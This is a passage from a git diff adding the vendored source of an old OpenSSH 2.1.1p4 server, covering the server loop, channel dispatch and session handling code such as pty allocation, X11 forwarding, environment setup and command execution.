connection_in; + if (connection_out > max_fd) + max_fd = connection_out; + server_init_dispatch(); + + for (;;) { + process_buffered_input_packets(); + if (!had_channel && channel_still_open()) + had_channel = 1; + if (had_channel && !channel_still_open()) { + debug("!channel_still_open."); + break; + } + if (packet_not_very_much_data_to_write()) + channel_output_poll(); + wait_until_can_do_something(&readset, &writeset, 0); + if (child_terminated) { + while ((pid = waitpid(-1, &status, WNOHANG)) > 0) + session_close_by_pid(pid, status); + child_terminated = 0; + signal(SIGCHLD, sigchld_handler2); + } + channel_after_select(&readset, &writeset); + process_input(&readset); + process_output(&writeset); + } + signal(SIGCHLD, SIG_DFL); + while ((pid = waitpid(-1, &status, WNOHANG)) > 0) + session_close_by_pid(pid, status); + channel_stop_listening(); +} + +void +server_input_stdin_data(int type, int plen) +{ + char *data; + unsigned int data_len; + + /* Stdin data from the client. Append it to the buffer. */ + /* Ignore any data if the client has closed stdin. */ + if (fdin == -1) + return; + data = packet_get_string(&data_len); + packet_integrity_check(plen, (4 + data_len), type); + buffer_append(&stdin_buffer, data, data_len); + memset(data, 0, data_len); + xfree(data); +} + +void +server_input_eof(int type, int plen) +{ + /* + * Eof from the client. The stdin descriptor to the + * program will be closed when all buffered data has + * drained. + */ + debug("EOF received for stdin."); + packet_integrity_check(plen, 0, type); + stdin_eof = 1; +} + +void +server_input_window_size(int type, int plen) +{ + int row = packet_get_int(); + int col = packet_get_int(); + int xpixel = packet_get_int(); + int ypixel = packet_get_int(); + + debug("Window change received."); + packet_integrity_check(plen, 4 * 4, type); + if (fdin != -1) + pty_change_window_size(fdin, row, col, xpixel, ypixel); +} + +int +input_direct_tcpip(void) +{ + int sock; + char *target, *originator; + int target_port, originator_port; + + target = packet_get_string(NULL); + target_port = packet_get_int(); + originator = packet_get_string(NULL); + originator_port = packet_get_int(); + packet_done(); + + debug("open direct-tcpip: from %s port %d to %s port %d", + originator, originator_port, target, target_port); + + /* XXX check permission */ + if (no_port_forwarding_flag) { + xfree(target); + xfree(originator); + return -1; + } + sock = channel_connect_to(target, target_port); + xfree(target); + xfree(originator); + if (sock < 0) + return -1; + return channel_new("direct-tcpip", SSH_CHANNEL_OPEN, + sock, sock, -1, 4*1024, 32*1024, 0, xstrdup("direct-tcpip")); +} + +void +server_input_channel_open(int type, int plen) +{ + Channel *c = NULL; + char *ctype; + int id; + unsigned int len; + int rchan; + int rmaxpack; + int rwindow; + + ctype = packet_get_string(&len); + rchan = packet_get_int(); + rwindow = packet_get_int(); + rmaxpack = packet_get_int(); + + debug("channel_input_open: ctype %s rchan %d win %d max %d", + ctype, rchan, rwindow, rmaxpack); + + if (strcmp(ctype, "session") == 0) { + debug("open session"); + packet_done(); + /* + * A server session has no fd to read or write + * until a CHANNEL_REQUEST for a shell is made, + * so we set the type to SSH_CHANNEL_LARVAL. + * Additionally, a callback for handling all + * CHANNEL_REQUEST messages is registered. + */ + id = channel_new(ctype, SSH_CHANNEL_LARVAL, + -1, -1, -1, 0, 32*1024, 0, xstrdup("server-session")); + if (session_open(id) == 1) { + channel_register_callback(id, SSH2_MSG_CHANNEL_REQUEST, + session_input_channel_req, (void *)0); + channel_register_cleanup(id, session_close_by_channel); + c = channel_lookup(id); + } else { + debug("session open failed, free channel %d", id); + channel_free(id); + } + } else if (strcmp(ctype, "direct-tcpip") == 0) { + id = input_direct_tcpip(); + if (id >= 0) + c = channel_lookup(id); + } + if (c != NULL) { + debug("confirm %s", ctype); + c->remote_id = rchan; + c->remote_window = rwindow; + c->remote_maxpacket = rmaxpack; + + packet_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION); + packet_put_int(c->remote_id); + packet_put_int(c->self); + packet_put_int(c->local_window); + packet_put_int(c->local_maxpacket); + packet_send(); + } else { + debug("failure %s", ctype); + packet_start(SSH2_MSG_CHANNEL_OPEN_FAILURE); + packet_put_int(rchan); + packet_put_int(SSH2_OPEN_ADMINISTRATIVELY_PROHIBITED); + packet_put_cstring("bla bla"); + packet_put_cstring(""); + packet_send(); + } + xfree(ctype); +} + +void +server_init_dispatch_20() +{ + debug("server_init_dispatch_20"); + dispatch_init(&dispatch_protocol_error); + dispatch_set(SSH2_MSG_CHANNEL_CLOSE, &channel_input_oclose); + dispatch_set(SSH2_MSG_CHANNEL_DATA, &channel_input_data); + dispatch_set(SSH2_MSG_CHANNEL_EOF, &channel_input_ieof); + dispatch_set(SSH2_MSG_CHANNEL_EXTENDED_DATA, &channel_input_extended_data); + dispatch_set(SSH2_MSG_CHANNEL_OPEN, &server_input_channel_open); + dispatch_set(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION, &channel_input_open_confirmation); + dispatch_set(SSH2_MSG_CHANNEL_OPEN_FAILURE, &channel_input_open_failure); + dispatch_set(SSH2_MSG_CHANNEL_REQUEST, &channel_input_channel_request); + dispatch_set(SSH2_MSG_CHANNEL_WINDOW_ADJUST, &channel_input_window_adjust); +} +void +server_init_dispatch_13() +{ + debug("server_init_dispatch_13"); + dispatch_init(NULL); + dispatch_set(SSH_CMSG_EOF, &server_input_eof); + dispatch_set(SSH_CMSG_STDIN_DATA, &server_input_stdin_data); + dispatch_set(SSH_CMSG_WINDOW_SIZE, &server_input_window_size); + dispatch_set(SSH_MSG_CHANNEL_CLOSE, &channel_input_close); + dispatch_set(SSH_MSG_CHANNEL_CLOSE_CONFIRMATION, &channel_input_close_confirmation); + dispatch_set(SSH_MSG_CHANNEL_DATA, &channel_input_data); + dispatch_set(SSH_MSG_CHANNEL_OPEN_CONFIRMATION, &channel_input_open_confirmation); + dispatch_set(SSH_MSG_CHANNEL_OPEN_FAILURE, &channel_input_open_failure); + dispatch_set(SSH_MSG_PORT_OPEN, &channel_input_port_open); +} +void +server_init_dispatch_15() +{ + server_init_dispatch_13(); + debug("server_init_dispatch_15"); + dispatch_set(SSH_MSG_CHANNEL_CLOSE, &channel_input_ieof); + dispatch_set(SSH_MSG_CHANNEL_CLOSE_CONFIRMATION, &channel_input_oclose); +} +void +server_init_dispatch() +{ + if (compat20) + server_init_dispatch_20(); + else if (compat13) + server_init_dispatch_13(); + else + server_init_dispatch_15(); +} diff --git a/other/openssh-2.1.1p4/session.c b/other/openssh-2.1.1p4/session.c new file mode 100644 index 0000000..d04d22e --- /dev/null +++ b/other/openssh-2.1.1p4/session.c @@ -0,0 +1,1815 @@ +/* + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + */ +/* + * SSH2 support by Markus Friedl. + * Copyright (c) 2000 Markus Friedl. All rights reserved. + */ + +#include "includes.h" +RCSID("$OpenBSD: session.c,v 1.23 2000/07/11 08:11:33 deraadt Exp $"); + +#include "xmalloc.h" +#include "ssh.h" +#include "pty.h" +#include "packet.h" +#include "buffer.h" +#include "cipher.h" +#include "mpaux.h" +#include "servconf.h" +#include "uidswap.h" +#include "compat.h" +#include "channels.h" +#include "nchan.h" + +#include "bufaux.h" +#include "ssh2.h" +#include "auth.h" +#include "auth-options.h" + +#ifdef WITH_IRIX_PROJECT +#include +#endif /* WITH_IRIX_PROJECT */ + +#if defined(HAVE_USERSEC_H) +#include +#endif + +#ifdef HAVE_OSF_SIA +# include +# include +#endif + +/* types */ + +#define TTYSZ 64 +typedef struct Session Session; +struct Session { + int used; + int self; + int extended; + struct passwd *pw; + pid_t pid; + /* tty */ + char *term; + int ptyfd, ttyfd, ptymaster; + int row, col, xpixel, ypixel; + char tty[TTYSZ]; + /* X11 */ + char *display; + int screen; + char *auth_proto; + char *auth_data; + int single_connection; + /* proto 2 */ + int chanid; +}; + +/* func */ + +Session *session_new(void); +void session_set_fds(Session *s, int fdin, int fdout, int fderr); +void session_pty_cleanup(Session *s); +void session_proctitle(Session *s); +void do_exec_pty(Session *s, const char *command, struct passwd * pw); +void do_exec_no_pty(Session *s, const char *command, struct passwd * pw); + +void +do_child(const char *command, struct passwd * pw, const char *term, + const char *display, const char *auth_proto, + const char *auth_data, const char *ttyname); + +/* import */ +extern ServerOptions options; +#ifdef HAVE___PROGNAME +extern char *__progname; +#else /* HAVE___PROGNAME */ +static const char *__progname = "sshd"; +#endif /* HAVE___PROGNAME */ + +extern int log_stderr; +extern int debug_flag; + +extern int startup_pipe; + +/* Local Xauthority file. */ +static char *xauthfile; + +/* data */ +#define MAX_SESSIONS 10 +Session sessions[MAX_SESSIONS]; +#ifdef WITH_AIXAUTHENTICATE +/* AIX's lastlogin message, set in auth1.c */ +char *aixloginmsg; +#endif /* WITH_AIXAUTHENTICATE */ + +/* + * Remove local Xauthority file. + */ +void +xauthfile_cleanup_proc(void *ignore) +{ + debug("xauthfile_cleanup_proc called"); + + if (xauthfile != NULL) { + char *p; + unlink(xauthfile); + p = strrchr(xauthfile, '/'); + if (p != NULL) { + *p = '\0'; + rmdir(xauthfile); + } + xfree(xauthfile); + xauthfile = NULL; + } +} + +/* + * Function to perform cleanup if we get aborted abnormally (e.g., due to a + * dropped connection). + */ +void +pty_cleanup_proc(void *session) +{ + Session *s=session; + if (s == NULL) + fatal("pty_cleanup_proc: no session"); + debug("pty_cleanup_proc: %s", s->tty); + + if (s->pid != 0) { + /* Record that the user has logged out. */ + record_logout(s->pid, s->tty); + } + + /* Release the pseudo-tty. */ + pty_release(s->tty); +} + +/* + * Prepares for an interactive session. This is called after the user has + * been successfully authenticated. During this message exchange, pseudo + * terminals are allocated, X11, TCP/IP, and authentication agent forwardings + * are requested, etc. + */ +void +do_authenticated(struct passwd * pw) +{ + Session *s; + int type; + int compression_level = 0, enable_compression_after_reply = 0; + int have_pty = 0; + char *command; + int n_bytes; + int plen; + unsigned int proto_len, data_len, dlen; + + /* + * Cancel the alarm we set to limit the time taken for + * authentication. + */ + alarm(0); + if (startup_pipe != -1) { + close(startup_pipe); + startup_pipe = -1; + } + + /* + * Inform the channel mechanism that we are the server side and that + * the client may request to connect to any port at all. (The user + * could do it anyway, and we wouldn\'t know what is permitted except + * by the client telling us, so we can equally well trust the client + * not to request anything bogus.) + */ + if (!no_port_forwarding_flag) + channel_permit_all_opens(); + + s = session_new(); + s->pw = pw; + + /* + * We stay in this loop until the client requests to execute a shell + * or a command. + */ + for (;;) { + int success = 0; + + /* Get a packet from the client. */ + type = packet_read(&plen); + + /* Process the packet. */ + switch (type) { + case SSH_CMSG_REQUEST_COMPRESSION: + packet_integrity_check(plen, 4, type); + compression_level = packet_get_int(); + if (compression_level < 1 || compression_level > 9) { + packet_send_debug("Received illegal compression level %d.", + compression_level); + break; + } + /* Enable compression after we have responded with SUCCESS. */ + enable_compression_after_reply = 1; + success = 1; + break; + + case SSH_CMSG_REQUEST_PTY: + if (no_pty_flag) { + debug("Allocating a pty not permitted for this authentication."); + break; + } + if (have_pty) + packet_disconnect("Protocol error: you already have a pty."); + + debug("Allocating pty."); + + /* Allocate a pty and open it. */ + if (!pty_allocate(&s->ptyfd, &s->ttyfd, s->tty, + sizeof(s->tty))) { + error("Failed to allocate pty."); + break; + } + fatal_add_cleanup(pty_cleanup_proc, (void *)s); + pty_setowner(pw, s->tty); + + /* Get TERM from the packet. Note that the value may be of arbitrary length. */ + s->term = packet_get_string(&dlen); + packet_integrity_check(dlen, strlen(s->term), type); + /* packet_integrity_check(plen, 4 + dlen + 4*4 + n_bytes, type); */ + /* Remaining bytes */ + n_bytes = plen - (4 + dlen + 4 * 4); + + if (strcmp(s->term, "") == 0) { + xfree(s->term); + s->term = NULL; + } + /* Get window size from the packet. */ + s->row = packet_get_int(); + s->col = packet_get_int(); + s->xpixel = packet_get_int(); + s->ypixel = packet_get_int(); + pty_change_window_size(s->ptyfd, s->row, s->col, s->xpixel, s->ypixel); + + /* Get tty modes from the packet. */ + tty_parse_modes(s->ttyfd, &n_bytes); + packet_integrity_check(plen, 4 + dlen + 4 * 4 + n_bytes, type); + + session_proctitle(s); + + /* Indicate that we now have a pty. */ + success = 1; + have_pty = 1; + break; + + case SSH_CMSG_X11_REQUEST_FORWARDING: + if (!options.x11_forwarding) { + packet_send_debug("X11 forwarding disabled in server configuration file."); + break; + } + if (!options.xauth_location) { + packet_send_debug("No xauth program; cannot forward with spoofing."); + break; + } + if (no_x11_forwarding_flag) { + packet_send_debug("X11 forwarding not permitted for this authentication."); + break; + } + debug("Received request for X11 forwarding with auth spoofing."); + if (s->display != NULL) + packet_disconnect("Protocol error: X11 display already set."); + + s->auth_proto = packet_get_string(&proto_len); + s->auth_data = packet_get_string(&data_len); + packet_integrity_check(plen, 4 + proto_len + 4 + data_len + 4, type); + + if (packet_get_protocol_flags() & SSH_PROTOFLAG_SCREEN_NUMBER) + s->screen = packet_get_int(); + else + s->screen = 0; + s->display = x11_create_display_inet(s->screen, options.x11_display_offset); + + if (s->display == NULL) + break; + + /* Setup to always have a local .Xauthority. */ + xauthfile = xmalloc(MAXPATHLEN); + strlcpy(xauthfile, "/tmp/ssh-XXXXXXXX", MAXPATHLEN); + temporarily_use_uid(pw->pw_uid); + if (mkdtemp(xauthfile) == NULL) { + restore_uid(); + error("private X11 dir: mkdtemp %s failed: %s", + xauthfile, strerror(errno)); + xfree(xauthfile); + xauthfile = NULL; + /* XXXX remove listening channels */ + break; + } + strlcat(xauthfile, "/cookies", MAXPATHLEN); + open(xauthfile, O_RDWR|O_CREAT|O_EXCL, 0600); + restore_uid(); + fatal_add_cleanup(xauthfile_cleanup_proc, NULL); + success = 1; + break; + + case SSH_CMSG_AGENT_REQUEST_FORWARDING: + if (no_agent_forwarding_flag || compat13) { + debug("Authentication agent forwarding not permitted for this authentication."); + break; + } + debug("Received authentication agent forwarding request."); + success = auth_input_request_forwarding(pw); + break; + + case SSH_CMSG_PORT_FORWARD_REQUEST: + if (no_port_forwarding_flag) { + debug("Port forwarding not permitted for this authentication."); + break; + } + debug("Received TCP/IP port forwarding request."); + channel_input_port_forward_request(pw->pw_uid == 0, options.gateway_ports); + success = 1; + break; + + case SSH_CMSG_MAX_PACKET_SIZE: + if (packet_set_maxsize(packet_get_int()) > 0) + success = 1; + break; + + case SSH_CMSG_EXEC_SHELL: + case SSH_CMSG_EXEC_CMD: + /* Set interactive/non-interactive mode. */ + packet_set_interactive(have_pty || s->display != NULL, + options.keepalives); + + if (type == SSH_CMSG_EXEC_CMD) { + command = packet_get_string(&dlen); + debug("Exec command '%.500s'", command); + packet_integrity_check(plen, 4 + dlen, type); + } else { + command = NULL; + packet_integrity_check(plen, 0, type); + } + if (forced_command != NULL) { + command = forced_command; + debug("Forced command '%.500s'", forced_command); + } + if (have_pty) + do_exec_pty(s, command, pw); + else + do_exec_no_pty(s, command, pw); + + if (command != NULL) + xfree(command); + /* Cleanup user's local Xauthority file. */ + if (xauthfile) + xauthfile_cleanup_proc(NULL); + return; + + default: + /* + * Any unknown messages in this phase are ignored, + * and a failure message is returned. + */ + log("Unknown packet type received after authentication: %d", type); + } + packet_start(success ? SSH_SMSG_SUCCESS : SSH_SMSG_FAILURE); + packet_send(); + packet_write_wait(); + + /* Enable compression now that we have replied if appropriate. */ + if (enable_compression_after_reply) { + enable_compression_after_reply = 0; + packet_start_compression(compression_level); + } + } +} + +/* + * This is called to fork and execute a command when we have no tty. This + * will call do_child from the child, and server_loop from the parent after + * setting up file descriptors and such. + */ +void +do_exec_no_pty(Session *s, const char *command, struct passwd * pw) +{ + int pid; + +#ifdef USE_PIPES + int pin[2], pout[2], perr[2]; + /* Allocate pipes for communicating with the program. */ + if (pipe(pin) < 0 || pipe(pout) < 0 || pipe(perr) < 0) + packet_disconnect("Could not create pipes: %.100s", + strerror(errno)); +#else /* USE_PIPES */ + int inout[2], err[2]; + /* Uses socket pairs to communicate with the program. */ + if (socketpair(AF_UNIX, SOCK_STREAM, 0, inout) < 0 || + socketpair(AF_UNIX, SOCK_STREAM, 0, err) < 0) + packet_disconnect("Could not create socket pairs: %.100s", + strerror(errno)); +#endif /* USE_PIPES */ + if (s == NULL) + fatal("do_exec_no_pty: no session"); + + session_proctitle(s); + +#ifdef USE_PAM + do_pam_setcred(); +#endif /* USE_PAM */ + + /* Fork the child. */ + if ((pid = fork()) == 0) { + /* Child. Reinitialize the log since the pid has changed. */ + log_init(__progname, options.log_level, options.log_facility, log_stderr); + + /* + * Create a new session and process group since the 4.4BSD + * setlogin() affects the entire process group. + */ + if (setsid() < 0) + error("setsid failed: %.100s", strerror(errno)); + +#ifdef USE_PIPES + /* + * Redirect stdin. We close the parent side of the socket + * pair, and make the child side the standard input. + */ + close(pin[1]); + if (dup2(pin[0], 0) < 0) + perror("dup2 stdin"); + close(pin[0]); + + /* Redirect stdout. */ + close(pout[0]); + if (dup2(pout[1], 1) < 0) + perror("dup2 stdout"); + close(pout[1]); + + /* Redirect stderr. */ + close(perr[0]); + if (dup2(perr[1], 2) < 0) + perror("dup2 stderr"); + close(perr[1]); +#else /* USE_PIPES */ + /* + * Redirect stdin, stdout, and stderr. Stdin and stdout will + * use the same socket, as some programs (particularly rdist) + * seem to depend on it. + */ + close(inout[1]); + close(err[1]); + if (dup2(inout[0], 0) < 0) /* stdin */ + perror("dup2 stdin"); + if (dup2(inout[0], 1) < 0) /* stdout. Note: same socket as stdin. */ + perror("dup2 stdout"); + if (dup2(err[0], 2) < 0) /* stderr */ + perror("dup2 stderr"); +#endif /* USE_PIPES */ + + /* Do processing for the child (exec command etc). */ + do_child(command, pw, NULL, s->display, s->auth_proto, s->auth_data, NULL); + /* NOTREACHED */ + } + if (pid < 0) + packet_disconnect("fork failed: %.100s", strerror(errno)); + s->pid = pid; +#ifdef USE_PIPES + /* We are the parent. Close the child sides of the pipes. */ + close(pin[0]); + close(pout[1]); + close(perr[1]); + + if (compat20) { + session_set_fds(s, pin[1], pout[0], s->extended ? perr[0] : -1); + } else { + /* Enter the interactive session. */ + server_loop(pid, pin[1], pout[0], perr[0]); + /* server_loop has closed pin[1], pout[1], and perr[1]. */ + } +#else /* USE_PIPES */ + /* We are the parent. Close the child sides of the socket pairs. */ + close(inout[0]); + close(err[0]); + + /* + * Enter the interactive session. Note: server_loop must be able to + * handle the case that fdin and fdout are the same. + */ + if (compat20) { + session_set_fds(s, inout[1], inout[1], s->extended ? err[1] : -1); + } else { + server_loop(pid, inout[1], inout[1], err[1]); + /* server_loop has closed inout[1] and err[1]. */ + } +#endif /* USE_PIPES */ +} + +/* + * This is called to fork and execute a command when we have a tty. This + * will call do_child from the child, and server_loop from the parent after + * setting up file descriptors, controlling tty, updating wtmp, utmp, + * lastlog, and other such operations. + */ +void +do_exec_pty(Session *s, const char *command, struct passwd * pw) +{ + FILE *f; + char buf[100], *time_string; + char line[256]; + const char *hostname; + int fdout, ptyfd, ttyfd, ptymaster; + int quiet_login; + pid_t pid; + socklen_t fromlen; + struct sockaddr_storage from; + struct stat st; + time_t last_login_time; + + if (s == NULL) + fatal("do_exec_pty: no session"); + ptyfd = s->ptyfd; + ttyfd = s->ttyfd; + + /* Get remote host name. */ + hostname = get_canonical_hostname(); + + /* + * Get the time when the user last logged in. Buf will be set to + * contain the hostname the last login was from. + */ + if (!options.use_login) { + last_login_time = get_last_login_time(pw->pw_uid, pw->pw_name, + buf, sizeof(buf)); + } + +#ifdef USE_PAM + do_pam_session(pw->pw_name, s->tty); + do_pam_setcred(); +#endif /* USE_PAM */ + + /* Fork the child. */ + if ((pid = fork()) == 0) { + pid = getpid(); + + /* Child. Reinitialize the log because the pid has + changed. */ + log_init(__progname, options.log_level, options.log_facility, log_stderr); + + /* Close the master side of the pseudo tty. */ + close(ptyfd); + + /* Make the pseudo tty our controlling tty. */ + pty_make_controlling_tty(&ttyfd, s->tty); + + /* Redirect stdin from the pseudo tty. */ + if (dup2(ttyfd, fileno(stdin)) < 0) + error("dup2 stdin failed: %.100s", strerror(errno)); + + /* Redirect stdout to the pseudo tty. */ + if (dup2(ttyfd, fileno(stdout)) < 0) + error("dup2 stdin failed: %.100s", strerror(errno)); + + /* Redirect stderr to the pseudo tty. */ + if (dup2(ttyfd, fileno(stderr)) < 0) + error("dup2 stdin failed: %.100s", strerror(errno)); + + /* Close the extra descriptor for the pseudo tty. */ + /*XXX: Can't do that! When fd is 0 we get a lot of mess. + * A for-loop will close unused fd's anyway. -Sebastian. + close(ttyfd); + */ + +/* XXXX ? move to do_child() ??*/ + /* + * Get IP address of client. This is needed because we want + * to record where the user logged in from. If the + * connection is not a socket, let the ip address be 0.0.0.0. + */ + memset(&from, 0, sizeof(from)); + if (packet_connection_is_on_socket()) { + fromlen = sizeof(from); + if (getpeername(packet_get_connection_in(), + (struct sockaddr *) & from, &fromlen) < 0) { + debug("getpeername: %.100s", strerror(errno)); + fatal_cleanup(); + } + } + /* Record that there was a login on that terminal. */ + record_login(pid, s->tty, pw->pw_name, pw->pw_uid, hostname, + (struct sockaddr *)&from); + + /* Check if .hushlogin exists. */ + snprintf(line, sizeof line, "%.200s/.hushlogin", pw->pw_dir); + quiet_login = stat(line, &st) >= 0; + +#ifdef USE_PAM + if (!quiet_login) + print_pam_messages(); +#endif /* USE_PAM */ + + /* + * If the user has logged in before, display the time of last + * login. However, don't display anything extra if a command + * has been specified (so that ssh can be used to execute + * commands on a remote machine without users knowing they + * are going to another machine). Login(1) will do this for + * us as well, so check if login(1) is used + */ + if (command == NULL && last_login_time != 0 && !quiet_login && + !options.use_login) { + /* Convert the date to a string. */ + time_string = ctime(&last_login_time); + /* Remove the trailing newline. */ + if (strchr(time_string, '\n')) + *strchr(time_string, '\n') = 0; + /* Display the last login time. Host if displayed + if known. */ + if (strcmp(buf, "") == 0) + printf("Last login: %s\r\n", time_string); + else + printf("Last login: %s from %s\r\n", time_string, buf); + } + /* + * Print /etc/motd unless a command was specified or printing + * it was disabled in server options or login(1) will be + * used. Note that some machines appear to print it in + * /etc/profile or similar. + */ + if (command == NULL && options.print_motd && !quiet_login && + !options.use_login) { + /* Print /etc/motd if it exists. */ + f = fopen("/etc/motd", "r"); + if (f) { + while (fgets(line, sizeof(line), f)) + fputs(line, stdout); + fclose(f); + } + } +#if defined(WITH_AIXAUTHENTICATE) + /* + * AIX handles the lastlog info differently. Display it here. + */ + if (command == NULL && aixloginmsg && *aixloginmsg && + !quiet_login && !options.use_login) { + printf("%s\n", aixloginmsg); + } +#endif + /* Do common processing for the child, such as executing the command. */ + do_child(command, pw, s->term, s->display, s->auth_proto, + s->auth_data, s->tty); + /* NOTREACHED */ + } + if (pid < 0) + packet_disconnect("fork failed: %.100s", strerror(errno)); + s->pid = pid; + + /* Parent. Close the slave side of the pseudo tty. */ + close(ttyfd); + + /* + * Create another descriptor of the pty master side for use as the + * standard input. We could use the original descriptor, but this + * simplifies code in server_loop. The descriptor is bidirectional. + */ + fdout = dup(ptyfd); + if (fdout < 0) + packet_disconnect("dup #1 failed: %.100s", strerror(errno)); + + /* we keep a reference to the pty master */ + ptymaster = dup(ptyfd); + if (ptymaster < 0) + packet_disconnect("dup #2 failed: %.100s", strerror(errno)); + s->ptymaster = ptymaster; + + /* Enter interactive session. */ + if (compat20) { + session_set_fds(s, ptyfd, fdout, -1); + } else { + server_loop(pid, ptyfd, fdout, -1); + /* server_loop _has_ closed ptyfd and fdout. */ + session_pty_cleanup(s); + } +} + +/* + * Sets the value of the given variable in the environment. If the variable + * already exists, its value is overriden. + */ +void +child_set_env(char ***envp, unsigned int *envsizep, const char *name, + const char *value) +{ + unsigned int i, namelen; + char **env; + + /* + * Find the slot where the value should be stored. If the variable + * already exists, we reuse the slot; otherwise we append a new slot + * at the end of the array, expanding if necessary. + */ + env = *envp; + namelen = strlen(name); + for (i = 0; env[i]; i++) + if (strncmp(env[i], name, namelen) == 0 && env[i][namelen] == '=') + break; + if (env[i]) { + /* Reuse the slot. */ + xfree(env[i]); + } else { + /* New variable. Expand if necessary. */ + if (i >= (*envsizep) - 1) { + (*envsizep) += 50; + env = (*envp) = xrealloc(env, (*envsizep) * sizeof(char *)); + } + /* Need to set the NULL pointer at end of array beyond the new slot. */ + env[i + 1] = NULL; + } + + /* Allocate space and format the variable in the appropriate slot. */ + env[i] = xmalloc(strlen(name) + 1 + strlen(value) + 1); + snprintf(env[i], strlen(name) + 1 + strlen(value) + 1, "%s=%s", name, value); +} + +/* + * Reads environment variables from the given file and adds/overrides them + * into the environment. If the file does not exist, this does nothing. + * Otherwise, it must consist of empty lines, comments (line starts with '#') + * and assignments of the form name=value. No other forms are allowed. + */ +void +read_environment_file(char ***env, unsigned int *envsize, + const char *filename) +{ + FILE *f; + char buf[4096]; + char *cp, *value; + + f = fopen(filename, "r"); + if (!f) + return; + + while (fgets(buf, sizeof(buf), f)) { + for (cp = buf; *cp == ' ' || *cp == '\t'; cp++) + ; + if (!*cp || *cp == '#' || *cp == '\n') + continue; + if (strchr(cp, '\n')) + *strchr(cp, '\n') = '\0'; + value = strchr(cp, '='); + if (value == NULL) { + fprintf(stderr, "Bad line in %.100s: %.200s\n", filename, buf); + continue; + } + /* + * Replace the equals sign by nul, and advance value to + * the value string. + */ + *value = '\0'; + value++; + child_set_env(env, envsize, cp, value); + } + fclose(f); +} + +#ifdef USE_PAM +/* + * Sets any environment variables which have been specified by PAM + */ +void do_pam_environment(char ***env, int *envsize) +{ + char *equals, var_name[512], var_val[512]; + char **pam_env; + int i; + + if ((pam_env = fetch_pam_environment()) == NULL) + return; + + for(i = 0; pam_env[i] != NULL; i++) { + if ((equals = strstr(pam_env[i], "=")) == NULL) + continue; + + if (strlen(pam_env[i]) < (sizeof(var_name) - 1)) { + memset(var_name, '\0', sizeof(var_name)); + memset(var_val, '\0', sizeof(var_val)); + + strncpy(var_name, pam_env[i], equals - pam_env[i]); + strcpy(var_val, equals + 1); + + debug("PAM environment: %s=%s", var_name, var_val); + + child_set_env(env, envsize, var_name, var_val); + } + } +} +#endif /* USE_PAM */ + +#if defined(HAVE_GETUSERATTR) +/* + * AIX-specific login initialisation + */ +void set_limit(char *user, char *soft, char *hard, int resource, int mult) +{ + struct rlimit rlim; + int slim, hlim; + + getrlimit(resource, &rlim); + + slim = 0; + if (getuserattr(user, soft, &slim, SEC_INT) != -1) { + if (slim < 0) { + rlim.rlim_cur = RLIM_INFINITY; + } else if (slim != 0) { + /* See the wackiness below */ + if (rlim.rlim_cur == slim * mult) + slim = 0; + else + rlim.rlim_cur = slim * mult; + } + } + + hlim = 0; + if (getuserattr(user, hard, &hlim, SEC_INT) != -1) { + if (hlim < 0) { + rlim.rlim_max = RLIM_INFINITY; + } else if (hlim != 0) { + rlim.rlim_max = hlim * mult; + } + } + + /* + * XXX For cpu and fsize the soft limit is set to the hard limit + * if the hard limit is left at its default value and the soft limit + * is changed from its default value, either by requesting it + * (slim == 0) or by setting it to the current default. At least + * that's how rlogind does it. If you're confused you're not alone. + * Bug or feature? AIX 4.3.1.2 + */ + if ((!strcmp(soft, "fsize") || !strcmp(soft, "cpu")) + && hlim == 0 && slim != 0) + rlim.rlim_max = rlim.rlim_cur; + /* A specified hard limit limits the soft limit */ + else if (hlim > 0 && rlim.rlim_cur > rlim.rlim_max) + rlim.rlim_cur = rlim.rlim_max; + /* A soft limit can increase a hard limit */ + else if (rlim.rlim_cur > rlim.rlim_max) + rlim.rlim_max = rlim.rlim_cur; + + if (setrlimit(resource, &rlim) != 0) + error("setrlimit(%.10s) failed: %.100s", soft, strerror(errno)); +} + +void set_limits_from_userattr(char *user) +{ + int mask; + char buf[16]; + + set_limit(user, S_UFSIZE, S_UFSIZE_HARD, RLIMIT_FSIZE, 512); + set_limit(user, S_UCPU, S_UCPU_HARD, RLIMIT_CPU, 1); + set_limit(user, S_UDATA, S_UDATA_HARD, RLIMIT_DATA, 512); + set_limit(user, S_USTACK, S_USTACK_HARD, RLIMIT_STACK, 512); + set_limit(user, S_URSS, S_URSS_HARD, RLIMIT_RSS, 512); + set_limit(user, S_UCORE, S_UCORE_HARD, RLIMIT_CORE, 512); +#if defined(S_UNOFILE) + set_limit(user, S_UNOFILE, S_UNOFILE_HARD, RLIMIT_NOFILE, 1); +#endif + + if (getuserattr(user, S_UMASK, &mask, SEC_INT) != -1) { + /* Convert decimal to octal */ + (void) snprintf(buf, sizeof(buf), "%d", mask); + if (sscanf(buf, "%o", &mask) == 1) + umask(mask); + } +} +#endif /* defined(HAVE_GETUSERATTR) */ + +/* + * Performs common processing for the child, such as setting up the + * environment, closing extra file descriptors, setting the user and group + * ids, and executing the command or shell. + */ +void +do_child(const char *command, struct passwd * pw, const char *term, + const char *display, const char *auth_proto, + const char *auth_data, const char *ttyname) +{ + const char *shell, *cp = NULL; + char buf[256]; + char cmd[1024]; + FILE *f; + unsigned int envsize, i; + char **env; + extern char **environ; + struct stat st; + char *argv[10]; + + memset(cmd, 0, sizeof(cmd)); + memset(buf, 0, sizeof(buf)); + +#ifdef WITH_IRIX_PROJECT + prid_t projid; +#endif /* WITH_IRIX_PROJECT */ + + /* login(1) is only called if we execute the login shell */ + if (options.use_login && command != NULL) + options.use_login = 0; + +#ifndef USE_PAM /* pam_nologin handles this */ + f = fopen("/etc/nologin", "r"); + if (f) { + /* /etc/nologin exists. Print its contents and exit. */ + while (fgets(buf, sizeof(buf), f)) + fputs(buf, stderr); + fclose(f); + if (pw->pw_uid != 0) + exit(254); + } +#endif /* USE_PAM */ + +#ifndef HAVE_OSF_SIA + /* Set login name in the kernel. */ + if (setlogin(pw->pw_name) < 0) + error("setlogin failed: %s", strerror(errno)); +#endif + + /* Set uid, gid, and groups. */ + /* Login(1) does this as well, and it needs uid 0 for the "-h" + switch, so we let login(1) to this for us. */ + if (!options.use_login) { +#ifdef HAVE_OSF_SIA + extern char **saved_argv; + extern int saved_argc; + char *host = get_canonical_hostname (); + + if (sia_become_user(NULL, saved_argc, saved_argv, host, + pw->pw_name, ttyname, 0, NULL, NULL, SIA_BEU_SETLUID) != + SIASUCCESS) { + perror("sia_become_user"); + exit(1); + } + if (setreuid(geteuid(), 